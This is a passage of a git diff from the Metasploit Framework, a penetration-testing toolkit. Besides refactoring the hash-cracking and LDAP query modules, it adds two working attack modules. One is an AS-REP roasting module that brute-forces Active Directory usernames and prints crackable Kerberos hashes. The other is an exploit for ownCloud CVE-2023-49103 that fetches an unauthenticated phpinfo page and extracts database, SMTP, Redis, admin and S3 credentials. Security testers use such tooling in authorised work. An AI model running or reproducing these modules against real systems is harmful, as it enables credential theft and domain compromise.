line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Single') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Single') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? if datastore['NORMAL'] - print_status "Cracking #{format} hashes in normal mode" + print_status "Cracking #{format} hashes in normal mode..." cracker_instance.mode_normal show_command cracker_instance cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Normal') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Normal') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end end @@ -292,8 +259,10 @@ class MetasploitModule < Msf::Auxiliary cracker_instance.crack do |line| vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Incremental') - vprint_good(print_results(tbl, results)) + results = check_results(cracker_instance.each_cracked_password, results, format, 'Incremental') + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end if datastore['WORDLIST'] @@ -309,13 +278,15 @@ class MetasploitModule < Msf::Auxiliary vprint_status line.chomp end - results = check_results(cracker_instance.each_cracked_password, results, format, hashes, 'Wordlist') + results = check_results(cracker_instance.each_cracked_password, results, format, 'Wordlist') - vprint_good(print_results(tbl, results)) + vprint_good(append_results(tbl, results)) unless results.empty? + job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list + next if job['cred_ids_left_to_crack'].empty? end # give a final print of results - print_good(print_results(tbl, results)) + print_good(append_results(tbl, results)) end if datastore['DeleteTempFiles'] cleanup_files.each do |f| @@ -323,34 +294,4 @@ class MetasploitModule < Msf::Auxiliary end end end - - def hash_file(hashes_regex) - hashes = [] - wrote_hash = false - hashlist = Rex::Quickfile.new('hashes_tmp') - # Convert names from JtR to DB - hashes_regex = hashes_regex.join('|') - framework.db.creds(workspace: myworkspace).each do |core| - regex = Regexp.new hashes_regex - next unless core.private.jtr_format =~ regex - # only add hashes which havne't been cracked - next unless already_cracked_pass(core.private.data).nil? - - if action.name == 'john' - hashlist.puts hash_to_jtr(core) - elsif action.name == 'hashcat' - # hashcat hash files dont include the ID to reference back to so we build an array to reference - hashes << { 'hash' => core.private.data, 'un' => core.public.username, 'id' => core.id } - hashlist.puts hash_to_hashcat(core) - end - wrote_hash = true - end - hashlist.close - unless wrote_hash # check if we wrote anything and bail early if we didn't - hashlist.delete - fail_with Failure::NotFound, 'No applicable hashes in database to crack' - end - print_status "Hashes Written out to #{hashlist.path}" - return hashlist.path, hashes - end end diff --git a/modules/auxiliary/gather/asrep.rb b/modules/auxiliary/gather/asrep.rb new file mode 100644 index 0000000000..78c9ef7ffc --- /dev/null +++ b/modules/auxiliary/gather/asrep.rb @@ -0,0 +1,157 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Kerberos::Client + include Msf::Exploit::Remote::LDAP + include Msf::Exploit::Remote::LDAP::Queries + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Find Users Without Pre-Auth Required (ASREP-roast)', + 'Description' => %q{ + This module searches for AD users without pre-auth required. Two different approaches + are provided: + - Brute force of usernames (does not require a user account; should not lock out accounts) + - LDAP lookup (requires an AD user account) + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'smashery', # MSF Module + ], + 'References' => [ + ['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat'] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [], + 'AKA' => ['preauth', 'asreproast'] + }, + 'Actions' => [ + ['BRUTE_FORCE', { 'Description' => 'Brute force to find susceptible user accounts' } ], + ['LDAP', { 'Description' => 'Ask a domain controller directly for the susceptible user accounts' } ], + ], + 'DefaultAction' => 'BRUTE_FORCE' + ) + ) + + register_options( + [ + OptPath.new('USER_FILE', [ false, 'File containing usernames, one per line' ], conditions: %w[ACTION == BRUTE_FORCE]), + OptBool.new('USE_RC4_HMAC', [ true, 'Request using RC4 hash instead of default encryption types (faster to crack)', true]), + OptString.new('Rhostname', [ true, "The domain controller's hostname"], aliases: ['LDAP::Rhostname']), + ] + ) + register_advanced_options( + [ + OptEnum.new('LDAP::Auth', [true, 'The Authentication mechanism to use', Msf::Exploit::Remote::AuthOption::NTLM, Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS]), + ] + ) + + default_config_file_path = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_default.yaml') + loaded_queries = safe_load_queries(default_config_file_path) || [] + asrep_roast_query = loaded_queries.select { |entry| entry['action'] == 'ENUM_USER_ASREP_ROASTABLE' } + self.ldap_query = asrep_roast_query[0] + end + + def run + case action.name + when 'BRUTE_FORCE' + run_brute + when 'LDAP' + run_ldap + end + end + + def run_brute + result_count = 0 + user_file = datastore['USER_FILE'] + if user_file.nil? + fail_with(Msf::Module::Failure::BadConfig, 'User file must be specified when brute forcing') + end + if user_file.present? + File.open(user_file, 'rb') do |file| + file.each_line(chomp: true) do |user_from_file| + roast(user_from_file) + result_count += 1 + rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError + # User either not present, or requires preauth + end + end + if result_count == 0 + print_error('No users found without preauth required') + else + print_line + print_status("Query returned #{result_count} #{'result'.pluralize(result_count)}.") + end + else + fail_with(Msf::Module::Failure::BadConfig, 'User file not found') + end + end + + def run_ldap + fail_with(Msf::Module::Failure::BadConfig, 'Must provide a username for connecting to LDAP') if datastore['USERNAME'].blank? + + ldap_connect do |ldap| + validate_bind_success!(ldap) + unless (base_dn = discover_base_dn(ldap)) + fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!") + end + + schema_dn = find_schema_dn(ldap, base_dn) + filter_string = ldap_query['filter'] + attributes = ldap_query['attributes'] + begin + filter = Net::LDAP::Filter.construct(filter_string) + rescue StandardError => e + fail_with(Failure::BadConfig, "Could not compile the filter #{filter_string}. Error was #{e}") + end + + print_line + result_count = perform_ldap_query_streaming(ldap, filter, attributes, base_dn, schema_dn) do |result, _attribute_properties| + username = result.samaccountname[0] + begin + roast(username) + rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e + print_error("#{username} reported as ASREP-roastable, but received error when attempting to retrieve TGT (#{e})") + end + end + if result_count == 0 + print_error("No entries could be found for #{filter_string}!") + else + print_line + print_status("Query returned #{result_count} #{'result'.pluralize(result_count)}.") + end + end + end + + def roast(username) + res = send_request_tgt( + server_name: datastore['Rhostname'], + client_name: username, + realm: datastore['DOMAIN'], + offered_etypes: etypes, + rport: 88 + ) + hash = format_as_rep_to_john_hash(res.as_rep) + print_line(hash) + end + + def etypes + if datastore['USE_RC4_HMAC'] + [Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC] + else + # We could just ask for AES256, but we have an opportunity to be stealthier by asking for a normal set of etypes, + # and expecting to receive AES256. This assumption may be broken in the future if additional encryption types are added + Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes + end + end + + attr_accessor :ldap_query # The LDAP query for this module, loaded from a yaml file + +end diff --git a/modules/auxiliary/gather/ldap_query.rb b/modules/auxiliary/gather/ldap_query.rb index 21b1e47b16..1042ca0eb1 100644 --- a/modules/auxiliary/gather/ldap_query.rb +++ b/modules/auxiliary/gather/ldap_query.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::LDAP + include Msf::Exploit::Remote::LDAP::Queries require 'json' require 'yaml' @@ -123,337 +124,21 @@ class MetasploitModule < Msf::Auxiliary [actions, default_action] end - def safe_load_queries(filename) - begin - settings = YAML.safe_load(File.binread(filename)) - rescue StandardError => e - elog("Couldn't parse #{filename}", error: e) - return - end - - return unless settings['queries'].is_a? Array - - settings['queries'] - end - - def perform_ldap_query(ldap, filter, attributes, base: nil, scope: nil) - results = [] - perform_ldap_query_streaming(ldap, filter, attributes, base: base, scope: scope) do |result| - results << result - end - - query_result_table = ldap.get_operation_result.table - validate_query_result!(query_result_table, filter) - - if results.nil? || results.empty? - print_error("No results found for #{filter}.") - return nil - end - - results - end - - def perform_ldap_query_streaming(ldap, filter, attributes, base: nil, scope: nil) - query_attributes_data(ldap, attributes.map(&:to_sym)) - - base ||= @base_dn - scope ||= Net::LDAP::SearchScope_WholeSubtree - result_count = 0 - ldap.search(base: base, filter: filter, attributes: attributes, scope: scope, return_result: false) do |result| - result_count += 1 - yield result if block_given? - end - - result_count - end - - def generate_rex_tables(entry, format) - tbl = Rex::Text::Table.new( - 'Header' => entry[:dn][0].split(',').join(' '), - 'Indent' => 1, - 'Columns' => %w[Name Attributes] - ) - - entry.each_key do |attr| - if format == 'table' - tbl << [attr, entry[attr].join(' || ')] unless attr == :dn # Skip over DN entries for tables since DN information is shown in header. - else - tbl << [attr, entry[attr].join(' || ')] # DN information is not shown in CSV output as a header so keep DN entries in. - end - end - - case format - when 'table' - print_line(tbl.to_s) - when 'csv' - print_line(tbl.to_csv) - else - fail_with(Failure::BadConfig, "Invalid format #{format} passed to generate_rex_tables!") - end - end - - def convert_nt_timestamp_to_time_string(nt_timestamp) - Time.at((nt_timestamp.to_i - 116444736000000000) / 10000000).utc.to_s - end - - def convert_pwd_age_to_time_string(timestamp) - seconds = (timestamp.to_i / -1) / 10000000 # Convert always negative number to positive then convert to seconds from tick count. - days = seconds / 86400 - hours = (seconds % 86400) / 3600 - minutes = ((seconds % 86400) % 3600) / 60 - real_seconds = (((seconds % 86400) % 3600) % 60) - return "#{days}:#{hours.to_s.rjust(2, '0')}:#{minutes.to_s.rjust(2, '0')}:#{real_seconds.to_s.rjust(2, '0')}" - end - - # Read in a DER formatted certificate file and transform it into a - # OpenSSL::X509::Certificate object before then using that object to - # read the properties of the certificate and return this info as a string. - def read_der_certificate_file(cert) - openssl_certificate = OpenSSL::X509::Certificate.new(cert) - version = openssl_certificate.version - subject = openssl_certificate.subject - issuer = openssl_certificate.issuer - algorithm = openssl_certificate.signature_algorithm - extensions = openssl_certificate.extensions.join(' | ') - extensions.strip! - extensions.gsub!(/ \|$/, '') # Strip whitespace and then strip trailing | from end of string. - [openssl_certificate, "Version: 0x#{version}, Subject: #{subject}, Issuer: #{issuer}, Signature Algorithm: #{algorithm}, Extensions: #{extensions}"] - end - - # Taken from https://www.powershellgallery.com/packages/S.DS.P/2.1.3/Content/Transforms%5CsystemFlags.ps1 - # and from https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/1e38247d-8234-4273-9de3-bbf313548631 - FLAG_DISALLOW_DELETE = 0x80000000 - FLAG_CONFIG_ALLOW_RENAME = 0x40000000 - FLAG_CONFIG_ALLOW_MOVE = 0x20000000 - FLAG_CONFIG_ALLOW_LIMITED_MOVE = 0x10000000 - FLAG_DOMAIN_DISALLOW_RENAME = 0x8000000 - FLAG_DOMAIN_DISALLOW_MOVE = 0x4000000 - FLAG_DISALLOW_MOVE_ON_DELETE = 0x2000000 - FLAG_ATTR_IS_RDN = 0x20 - FLAG_SCHEMA_BASE_OBJECT = 0x10 - FLAG_ATTR_IS_OPERATIONAL = 0x8 - FLAG_ATTR_IS_CONSTRUCTED = 0x4 - FLAG_ATTR_REQ_PARTIAL_SET_MEMBER = 0x2 - FLAG_NOT_REPLICATED = 0x1 - - def convert_system_flags_to_string(flags) - flags_converted = flags.to_i - flag_string = '' - flag_string << 'FLAG_DISALLOW_DELETE | ' if flags_converted & FLAG_DISALLOW_DELETE > 0 - flag_string << 'FLAG_CONFIG_ALLOW_RENAME | ' if flags_converted & FLAG_CONFIG_ALLOW_RENAME > 0 - flag_string << 'FLAG_CONFIG_ALLOW_MOVE | ' if flags_converted & FLAG_CONFIG_ALLOW_MOVE > 0 - flag_string << 'FLAG_CONFIG_ALLOW_LIMITED_MOVE | ' if flags_converted & FLAG_CONFIG_ALLOW_LIMITED_MOVE > 0 - flag_string << 'FLAG_DOMAIN_DISALLOW_RENAME | ' if flags_converted & FLAG_DOMAIN_DISALLOW_RENAME > 0 - flag_string << 'FLAG_DOMAIN_DISALLOW_MOVE | ' if flags_converted & FLAG_DOMAIN_DISALLOW_MOVE > 0 - flag_string << 'FLAG_DISALLOW_MOVE_ON_DELETE | ' if flags_converted & FLAG_DISALLOW_MOVE_ON_DELETE > 0 - flag_string << 'FLAG_ATTR_IS_RDN | ' if flags_converted & FLAG_ATTR_IS_RDN > 0 - flag_string << 'FLAG_SCHEMA_BASE_OBJECT | ' if flags_converted & FLAG_SCHEMA_BASE_OBJECT > 0 - flag_string << 'FLAG_ATTR_IS_OPERATIONAL | ' if flags_converted & FLAG_ATTR_IS_OPERATIONAL > 0 - flag_string << 'FLAG_ATTR_IS_CONSTRUCTED | ' if flags_converted & FLAG_ATTR_IS_CONSTRUCTED > 0 - flag_string << 'FLAG_ATTR_REQ_PARTIAL_SET_MEMBER | ' if flags_converted & FLAG_ATTR_REQ_PARTIAL_SET_MEMBER > 0 - flag_string << 'FLAG_NOT_REPLICATED | ' if flags_converted & FLAG_NOT_REPLICATED > 0 - flag_string.strip.gsub!(/ \|$/, '') - end - - def output_json_data(entry) - data = {} - entry.each_key do |attr| - data[attr] = entry[attr].length == 1 ? entry[attr][0] : entry[attr] - end - print_status(entry[:dn][0].split(',').join(' ')) - print_line(JSON.pretty_generate(data)) - end - - def output_data_table(entry) - generate_rex_tables(entry, 'table') - end - - def output_data_csv(entry) - generate_rex_tables(entry, 'csv') - end - - def find_schema_dn(ldap) - results = ldap.search(attributes: ['objectCategory'], base: @base_dn, filter: '(objectClass=*)', scope: Net::LDAP::SearchScope_BaseObject) - validate_query_result!(ldap.get_operation_result.table) - if results.blank? - fail_with(Failure::UnexpectedReply, "LDAP server didn't respond to our request to find the root DN!") - end - - # Double check that the entry has an instancetype attribute. - unless results[0].to_h.key?(:objectcategory) - fail_with(Failure::UnexpectedReply, "LDAP server didn't respond to the root DN request with the objectcategory attribute field!") - end - - object_category_raw = results[0][:objectcategory][0] - schema_dn = object_category_raw.gsub(/CN=[A-Za-z0-9-]+,/, '') - print_good("#{peer} Discovered schema DN: #{schema_dn}") - - schema_dn - end - - def query_attributes_data(ldap, attributes) - @attribute_properties = {} if @attribute_properties.nil? - - filter = '(|' - attributes.each do |key| - next if @attribute_properties.key?(key) # Skip if we already have this one - next if key == :dn # Skip DN as it will never have a schema entry - - filter += "(LDAPDisplayName=#{key})" - end - filter += ')' - return unless filter.include?('LDAPDisplayName=') - - attributes_data = ldap.search(base: ['CN=Schema,CN=Configuration', @schema_dn].join(','), filter: filter, attributes: %i[LDAPDisplayName isSingleValued oMSyntax attributeSyntax]) - query_result_table = ldap.get_operation_result.table - validate_query_result!(query_result_table) - - attributes_data.each do |entry| - ldap_display_name = entry[:ldapdisplayname][0].to_s.downcase.to_sym - @attribute_properties[ldap_display_name] = { - issinglevalued: entry[:issinglevalued][0] == 'TRUE', - omsyntax: entry[:omsyntax][0].to_i, - attributesyntax: entry[:attributesyntax][0] - } - end - end - - def normalize_entry(entry) - # Convert to a hash so we get the raw data we need from within the Net::LDAP::Entry object - entry = entry.to_h - normalized_entry = { dn: entry[:dn] } - entry.each_key do |attribute_name| - next if attribute_name == :dn # Skip the DN case as there will be no attributes_properties entry for it. - - normalized_attribute = entry[attribute_name].map { |v| Rex::Text.to_hex_ascii(v) } - attribute_property = @attribute_properties[attribute_name] - unless attribute_property - normalized_entry[attribute_name] = normalized_attribute - next - end - - case attribute_property[:omsyntax] - when 1 # Boolean - normalized_attribute[0] = entry[attribute_name][0] != 0 - when 2 # Integer - if attribute_name == :systemflags - flags = entry[attribute_name][0] - converted_flags_string = convert_system_flags_to_string(flags) - normalized_attribute[0] = converted_flags_string - end - when 4 # OctetString or SID String - if attribute_property[:attributesyntax] == '2.5.5.17' # SID String - # Advice taken from https://ldapwiki.com/wiki/ObjectSID - object_sid_raw = entry[attribute_name][0] - begin - sid_data = Rex::Proto::MsDtyp::MsDtypSid.read(object_sid_raw) - sid_string = sid_data.to_s - rescue IOError => e - fail_with(Failure::UnexpectedReply, "Failed to read SID. Error was #{e.message}") - end - normalized_attribute[0] = sid_string - elsif attribute_property[:attributesyntax] == '2.5.5.10' # OctetString - if attribute_name.to_s.match(/guid$/i) - # Get the entry[attribute_name] object will be an array containing a single string entry, - # so reach in and extract that string, which will contain binary data. - bin_guid = entry[attribute_name][0] - if bin_guid.length == 16 # Length of binary data in bytes since this is what .length uses. In bits its 128 bits. - begin - decoded_guid = Rex::Proto::MsDtyp::MsDtypGuid.read(bin_guid) - decoded_guid_string = decoded_guid.get - rescue IOError => e - fail_with(Failure::UnexpectedReply, "Failed to read GUID. Error was #{e.message}") - end - normalized_attribute[0] = decoded_guid_string - end - elsif attribute_name == :cacertificate || attribute_name == :usercertificate - normalized_attribute = entry[attribute_name].map do |raw_key_data| - _certificate_file, read_data = read_der_certificate_file(raw_key_data) - - read_data - end - end - end - when 6 # String (Object-Identifier) - when 10 # Enumeration - when 18 # NumbericString - when 19 # PrintableString - when 20 # Case-Ignore String - when 22 # IA5String - when 23 # GeneralizedTime String (UTC-Time) - when 24 # GeneralizedTime String (GeneralizedTime) - when 27 # Case Sensitive String - when 64 # DirectoryString String(Unicode) - when 65 # LargeInteger - if attribute_name == :creationtime || attribute_name.to_s.match(/lastlog(?:on|off)/) - timestamp = entry[attribute_name][0] - time_string = convert_nt_timestamp_to_time_string(timestamp) - elsif attribute_name.to_s.match(/lockoutduration$/i) || attribute_name.to_s.match(/pwdage$/) - timestamp = entry[attribute_name][0] - time_string = convert_pwd_age_to_time_string(timestamp) - end - normalized_attribute[0] = time_string - when 66 # String (Nt Security Descriptor) - when 127 # Object - else - print_error("Unknown oMSyntax entry: #{attribute_property[:omsyntax]}") - end - normalized_entry[attribute_name] = normalized_attribute - end - - normalized_entry - end - - def show_output(entry) - case datastore['OUTPUT_FORMAT'] - when 'csv' - output_data_csv(entry) - when 'table' - output_data_table(entry) - when 'json' - output_json_data(entry) - else - fail_with(Failure::BadConfig, 'Supported OUTPUT_FORMAT values are csv, table and json') - end - end - - def run_queries_from_file(ldap, queries) - queries.each do |query| - unless query['action'] && query['filter'] && query['attributes'] - fail_with(Failure::BadConfig, "Each query in the query file must at least contain a 'action', 'filter' and 'attributes' attribute!") - end - attributes = query['attributes'] - if attributes.nil? || attributes.empty? - print_warning('At least one attribute needs to be specified per query in the query file for entries to work!') - break - end - filter = Net::LDAP::Filter.construct(query['filter']) - print_status("Running #{query['action']}...") - query_base = query['base_dn_prefix'] ? [query['base_dn_prefix'], @base_dn].join(',') : nil - - result_count = perform_ldap_query_streaming(ldap, filter, attributes, base: query_base) do |result| - show_output(normalize_entry(result)) - end - - print_warning("Query #{query['filter']} from #{query['action']} didn't return any results!") if result_count == 0 - end - end - def run ldap_connect do |ldap| validate_bind_success!(ldap) - if (@base_dn = datastore['BASE_DN']) - print_status("User-specified base DN: #{@base_dn}") + if (base_dn = datastore['BASE_DN']) + print_status("User-specified base DN: #{base_dn}") else print_status('Discovering base DN automatically') - unless (@base_dn = discover_base_dn(ldap)) + unless (base_dn = discover_base_dn(ldap)) fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!") end end - @schema_dn = find_schema_dn(ldap) + schema_dn = find_schema_dn(ldap, base_dn) case action.name when 'RUN_QUERY_FILE' @@ -467,7 +152,7 @@ class MetasploitModule < Msf::Auxiliary fail_with(Failure::BadConfig, "No queries loaded from #{datastore['QUERY_FILE_PATH']}!") end - run_queries_from_file(ldap, parsed_queries) + run_queries_from_file(ldap, parsed_queries, datastore['OUTPUT_FORMAT']) return when 'RUN_SINGLE_QUERY' unless datastore['QUERY_FILTER'] && datastore['QUERY_ATTRIBUTES'] @@ -487,14 +172,14 @@ class MetasploitModule < Msf::Auxiliary # Strip out leading and trailing whitespace from the attributes before using them. attributes.map(&:strip!) filter_string = datastore['QUERY_FILTER'] - query_base = nil + query_base = base_dn else query = @loaded_queries[datastore['ACTION']].nil? ? @loaded_queries[default_action] : @loaded_queries[datastore['ACTION']] fail_with(Failure::BadConfig, "Invalid action: #{datastore['ACTION']}") unless query filter_string = query['filter'] attributes = query['attributes'] - query_base = (query['base_dn_prefix'] ? [query['base_dn_prefix'], @base_dn].join(',') : nil) + query_base = (query['base_dn_prefix'] ? [query['base_dn_prefix'], base_dn].join(',') : base_dn) end begin @@ -503,8 +188,8 @@ class MetasploitModule < Msf::Auxiliary fail_with(Failure::BadConfig, "Could not compile the filter #{filter_string}. Error was #{e}") end - result_count = perform_ldap_query_streaming(ldap, filter, attributes, base: query_base) do |result| - show_output(normalize_entry(result)) + result_count = perform_ldap_query_streaming(ldap, filter, attributes, query_base, schema_dn) do |result, attribute_properties| + show_output(normalize_entry(result, attribute_properties), datastore['OUTPUT_FORMAT']) end if result_count == 0 @@ -518,4 +203,6 @@ class MetasploitModule < Msf::Auxiliary rescue Net::LDAP::Error => e fail_with(Failure::UnexpectedReply, "Could not query #{datastore['RHOST']}! Error was: #{e.message}") end + + attr_reader :loaded_queries # Queries loaded from the yaml config file end diff --git a/modules/auxiliary/gather/owncloud_phpinfo_reader.rb b/modules/auxiliary/gather/owncloud_phpinfo_reader.rb new file mode 100644 index 0000000000..8b69138bb7 --- /dev/null +++ b/modules/auxiliary/gather/owncloud_phpinfo_reader.rb @@ -0,0 +1,247 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'ownCloud Phpinfo Reader', + 'Description' => %q{ + Docker containers of ownCloud compiled after February 2023, which have version 0.2.0 before 0.2.1 or 0.3.0 before 0.3.1 of the app `graph` installed + contain a test file which prints `phpinfo()` to an unauthenticated user. A post file name must be appended to the URL to bypass the login filter. + Docker may export sensitive environment variables including ownCloud, DB, redis, SMTP, and S3 credentials, as well as other host information. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'creacitysec', # original PoC + 'Ron Bowes', # research + 'random-robbie', # additional PoC work and research + 'Christian Fischer' # additional PoC work and research + ], + 'References' => [ + [ 'URL', 'https://owncloud.com/security-advisories/disclosure-of-sensitive-credentials-and-configuration-in-containerized-deployments/'], + [ 'URL', 'https://github.com/creacitysec/CVE-2023-49103'], + [ 'URL', 'https://www.labs.greynoise.io//grimoire/2023-11-29-owncloud-redux/'], + [ 'URL', 'https://www.rapid7.com/blog/post/2023/12/01/etr-cve-2023-49103-critical-information-disclosure-in-owncloud-graph-api/'], + [ 'CVE', '2023-49103'] + ], + 'Targets' => [ + [ 'Automatic Target', {}] + ], + 'DisclosureDate' => '2023-11-21', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'The URI of ownCloud', '/']), + OptEnum.new('ROOT', [true, 'Root path to start with', 'all', ['all', '', 'owncloud'] ]), + OptEnum.new('ENDFILE', [ + true, 'End path to append', 'all', [ + 'all', 'css', 'js', 'svg', 'gif', 'png', 'html', 'ttf', 'woff', 'ico', 'jpg', + 'jpeg', 'json', 'properties', 'min.map', 'js.map', 'auto.map' + ] + ]), + ] + ) + end + + def roots + if datastore['ROOT'] == 'all' + return ['', 'owncloud'] + end + + datastore['ROOT'] + end + + def endfiles + if datastore['ENDFILE'] == 'all' + return [ + '.css', '.js', '.svg', '.gif', '.png', '.html', '.ttf', '.woff', '.ico', '.jpg', + '.jpeg', '.json', '.properties', '.min.map', '.js.map', '.auto.map' + ] + end + ".#{datastore['ENDFILE']}" + end + + def field_regex(field) + "#{field} <\/td>([^ ]+) <\/td><\/tr>" + end + + def get_mappings + { + 'License Key' => 'OWNCLOUD_LICENSE_KEY', + 'Hostname' => 'HOSTNAME', + 'Home' => 'HOME', + 'Server Root' => 'APACHE_DOCUMENT_ROOT', + 'PWD' => 'PWD', + 'SMTP Host' => 'OWNCLOUD_MAIL_SMTP_HOST', + 'SMTP Port' => 'OWNCLOUD_MAIL_SMTP_PORT', + 'SMTP Username' => 'OWNCLOUD_MAIL_SMTP_NAME', + 'SMTP Password' => 'OWNCLOUD_MAIL_SMTP_PASSWORD', + 'ownCloud Username' => 'OWNCLOUD_ADMIN_USERNAME', + 'ownCloud Password' => 'OWNCLOUD_ADMIN_PASSWORD', + 'ownCloud Server Port' => 'SERVER_PORT', + 'DB Host' => 'OWNCLOUD_DB_HOST', + 'DB Username' => 'OWNCLOUD_DB_USERNAME', + 'DB Password' => 'OWNCLOUD_DB_PASSWORD', + 'DB Name' => 'OWNCLOUD_DB_NAME', + 'DB Type' => 'OWNCLOUD_DB_TYPE', + 'Redis Host' => 'OWNCLOUD_REDIS_HOST', + 'Redis Port' => 'OWNCLOUD_REDIS_PORT', + 'Redis DB' => 'OWNCLOUD_REDIS_DB', + 'Redis Password' => 'OWNCLOUD_REDIS_PASSWORD', + 'ObjectStore Endpoint' => 'OWNCLOUD_OBJECTSTORE_ENDPOINT', + 'ObjectStore Region' => 'OWNCLOUD_OBJECTSTORE_REGION', + 'ObjectStore Secret' => 'OWNCLOUD_OBJECTSTORE_SECRET', + 'ObjectStore Key' => 'OWNCLOUD_OBJECTSTORE_KEY', + 'ObjectStore Bucket' => 'OWNCLOUD_OBJECTSTORE_BUCKET' + } + end + + def run + found = false + roots.each do |root| + break if found + + endfiles.each do |endfile| + url = normalize_uri(target_uri.path, root, 'apps', 'graphapi', 'vendor', 'microsoft', 'microsoft-graph', 'tests', 'GetPhpInfo.php', endfile) + vprint_status("Checking: #{url}") + res = send_request_cgi( + 'uri' => url + ) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + unless res.code == 200 && res.body.include?('phpinfo()') + print_bad("Not Exploited - HTTP Status Code: #{res.code}") + next + end + print_good("Found phpinfo page at: #{url}") + + # store page + l = store_loot( + 'owncloud.phpinfo', + 'text/html', + rhost, + res.body, + 'phpinfo.html' + ) + print_good("Loot stored to: #{l}") + + # process the page + mappings = get_mappings + extracted_values = {} + mappings.each do |field_name, field| + if res.body =~ /#{field_regex(field)}/ + extracted_values[field_name] = ::Regexp.last_match(1) + print_good("#{field_name}: #{extracted_values[field_name]}") + end + end + + table = Rex::Text::Table.new( + 'Header' => 'Credentials', + 'Indent' => 2, + 'SortIndex' => 0, + 'Columns' => [ 'Type', 'Host', 'Username', 'Password', 'Notes'] + ) + + if extracted_values['SMTP Password'] + credential_data = { + protocol: 'tcp', + workspace_id: myworkspace_id, + service_name: 'SMTP', + origin_type: :service, + module_fullname: fullname, + status: Metasploit::Model::Login::Status::UNTRIED, + private_data: extracted_values['SMTP Password'], + private_type: :password + } + credential_data[:username] = extracted_values['SMTP Username'] if extracted_values['SMTP Username'] + credential_data[:address] = extracted_values['SMTP Host'].nil? ? '127.0.0.1' : extracted_values['SMTP Host'] + credential_data[:port] = extracted_values['SMTP Port'].nil? ? 25 : extracted_values['SMTP Port'] + + create_credential(credential_data) + table << ['SMTP', "#{credential_data[:address]}:#{credential_data[:port]}", credential_data[:username], extracted_values['SMTP Password'], ''] + end + + if extracted_values['ownCloud Password'] + credential_data = { + protocol: 'tcp', + port: rport, + address: rhost, + workspace_id: myworkspace_id, + service_name: 'ownCloud', + origin_type: :service, + module_fullname: fullname, + status: Metasploit::Model::Login::Status::UNTRIED, + private_data: extracted_values['ownCloud Password'], + private_type: :password + } + credential_data[:username] = extracted_values['ownCloud Username'].nil? ? '' : extracted_values['ownCloud Username'] + + create_credential(credential_data) + table << ['ownCloud', "#{rhost}:#{rport}", credential_data[:username], extracted_values['ownCloud Password'], ''] + end + + ## DB + if extracted_values['DB Password'] + credential_data = { + protocol: 'tcp', + port: extracted_values['DB Host'].split(':')[1], + address: extracted_values['DB Host'].split(':')[0], + workspace_id: myworkspace_id, + service_name: extracted_values['DB Type'], + origin_type: :service, + module_fullname: fullname, + status: Metasploit::Model::Login::Status::UNTRIED, + private_data: datastore['DB Password'], + private_type: :password + } + credential_data[:username] = extracted_values['DB Password'].nil? ? '' : extracted_values['DB Username'] + create_credential(credential_data) + table << [extracted_values['DB Type'], "#{rhost}:#{rport}", credential_data[:username], extracted_values['DB Password'], ''] + end + + ## REDIS + if extracted_values['Redis Password'] + credential_data = { + protocol: 'tcp', + port: extracted_values['Redis Host'], + address: extracted_values['Redis Port'], + workspace_id: myworkspace_id, + service_name: 'redis', + origin_type: :service, + module_fullname: fullname, + status: Metasploit::Model::Login::Status::UNTRIED, + private_data: extracted_values['Redis Password'], + private_type: :password + } + + create_credential(credential_data) + table << ['redis', "#{extracted_values['Redis Host']}:#{extracted_values['Redis Port']}", '', extracted_values['Redis Password'], ''] + end + + ## OBJECTSTORE + if extracted_values['ObjectStore Secret'] && extracted_values['ObjectStore Key'] + table << ['S3 Object Store', extracted_values['ObjectStore Region'], "Key: #{extracted_values['ObjectStore Key']}", "Secret: #{extracted_values['ObjectStore Secret']}", 